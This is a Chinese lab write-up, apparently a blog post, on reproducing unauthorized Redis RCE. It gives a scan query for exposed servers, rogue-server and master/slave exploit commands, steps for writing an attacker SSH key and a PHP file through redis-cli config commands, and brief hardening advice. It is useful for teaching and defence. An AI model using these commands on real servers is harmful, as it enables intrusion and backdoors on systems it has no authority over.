Redis历史漏洞未授权RCE复现

Redis是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。

Redis复现文章

Redis+ssrf漏洞利用探测内网

RedisInsight/RedisDesktopManager可视化连接工具

漏洞原理

复制代码
(1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上, 如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。 攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,并且写公匙登录

测绘查找

复制代码
port="6379"&server="redis"

Docker开启环境

复制代码
docker-compose up -d

docker-compose ps  // 查看端口6379

kali扫描主机同样存在

Redis(<=5.0.5) RCE 工具梭哈

RedisRCE工具

攻击机下载RCE工具 redis-rogue-server工具。使用该工具将在终端伪造一个redis服务并尝试与目标连接实现未授权访问

复制代码
git clone [https://github.com/n0b0dyCN/redis-rogue-server   // kali直接下载](https://github.com/n0b0dyCN/redis-rogue-server)

python3 ./redis-rogue-server.py --rhost 靶机ip --lhost 攻击机ip  // 连接

i // 交互式  成功RCE

Redis 4.x/5.x 主/从 getshell

通过工具远程连接执行,原本是通过git在kali克隆但是克隆不了,所以从物理机手动下载移到Kali并且进入redis-rogue-getshell-master/RedisModulesSDK/exp路径使用make命令下载模块,下载完成后cd回到根目录redis-rogue-getshell-master

复制代码
python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

// 第一个IP 靶机IP  第二个 攻击机IP   最后为需要执行的命令

生成ssh免密登录

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥; 未授权成功后将自己的ssh公钥写入目标服务器的/root/.ssh文件中authotrized_keys 文件中,进而可以使用对应私钥使用ssh服务器登录目标服务器

  • 为什么redis可以获取服务器的root权限呢?

RSA key的登陆方式在服务器方面是要将公钥写入目标authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redisroot启动的情况下使用,因为非root权限无法进入/root目录)

攻击机中生成ssh公钥和私钥文件,密码为空一直回车就行

进入ssh目录将生成的公钥保存到1.txt并且使用远程连接攻击连接靶机把1.txt写入redis

复制代码
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

cat 1.txt | redis-cli -h 192.168.31.169 -x set crack

下面操作就是更改目标服务器Redis备份路径为ssh公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器

Redis-cli远程连接工具

攻击机下载工具

复制代码
wget http://download.redis.io/redis-stable.tar.gz

tar -zxvf redis-stable.tar.gz
cd redis-stable
make  // 编译 时间很久

远程连接Redis服务器免密登录命令

复制代码
无密码登录命令

C 目标主机IP

有密码登录命令

redis-cli -h 目标主机IP -p 端口6379 -a 登录密码


redis-cli -h 10.2.109.98  // 连接靶机redis服务器

info  // 输出获取有关 Redis 服务器的各种信息,包括版本、模式、操作系统等

写入shell文件

靶场没有开启web端口无法直接上传木马文件,用写入shell文件的方式添加后门攻击者在未授权访问Redis的情况下,利用服务自身提供的config命令,可以进行写文件所以可以写入shell,在上文远程连接基础上写入文件,选择/tmp目录通常对所有用户都是可读写的

复制代码
config set dir /tmp   // 选择目录为tmp
config set dbfiname saber.php   // 文件名为saber.php

// 添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"  // 文件内容
save  // 执行

写入文件后可以通过容器ID查看文件

Docker查看写入Shell成功

修复建议

  • 修改redis.conf配置文件设置bind 127.0.0.1,这将限制Redis仅接受来自本地主机的连接
  • 设置强密码连接Redis需要进行身份验证
相关推荐
Atomic1213810 小时前
CVE 漏洞复现通论:从漏洞情报到 Root Cause 分析的标准化实战指南
web安全·网络安全·渗透测试
sbjdhjd17 小时前
大三网安秋招核心学习前言(AI 安全 + Web 漏洞 + 内网渗透全考点)
人工智能·网络协议·学习·安全·网络安全·开源·php
小绫网络安全17 小时前
【每日一讲】Nginx web
网络·web安全·网络安全
zbtlink18 小时前
路由器安全深度解析:从WPA3协议到自动化审计
网络·网络安全·智能路由器·wps
艺杯羹18 小时前
LLM越狱与安全护栏攻防大演进:从奶奶漏洞到输入输出双重检测模型
网络·安全·网络安全·ai·llm·大语言模型·ai安全
只吃不吃香菜19 小时前
Windows 下基于 YAML 规则的指定域名分流:以哔哩哔哩为例
网络·网络协议·计算机网络·网络安全·代理模式
菩提小狗2 天前
每日安全情报报告 · 2026-08-10
网络安全·漏洞·cve·安全情报·每日安全
笨鸟先飞,勤能补拙2 天前
网络安全等级保护 2.0:从定级备案、建设整改到持续合规的系统指南
网络·人工智能·windows·安全·web安全·网络安全·github
yagami_gagami2 天前
2026平航杯内存取证(StarMem)
windows·网络安全
Aision_2 天前
实习学习笔记:HTTP请求走私漏洞全方位解析
笔记·学习·安全·web安全·http·网络安全·网络攻击模型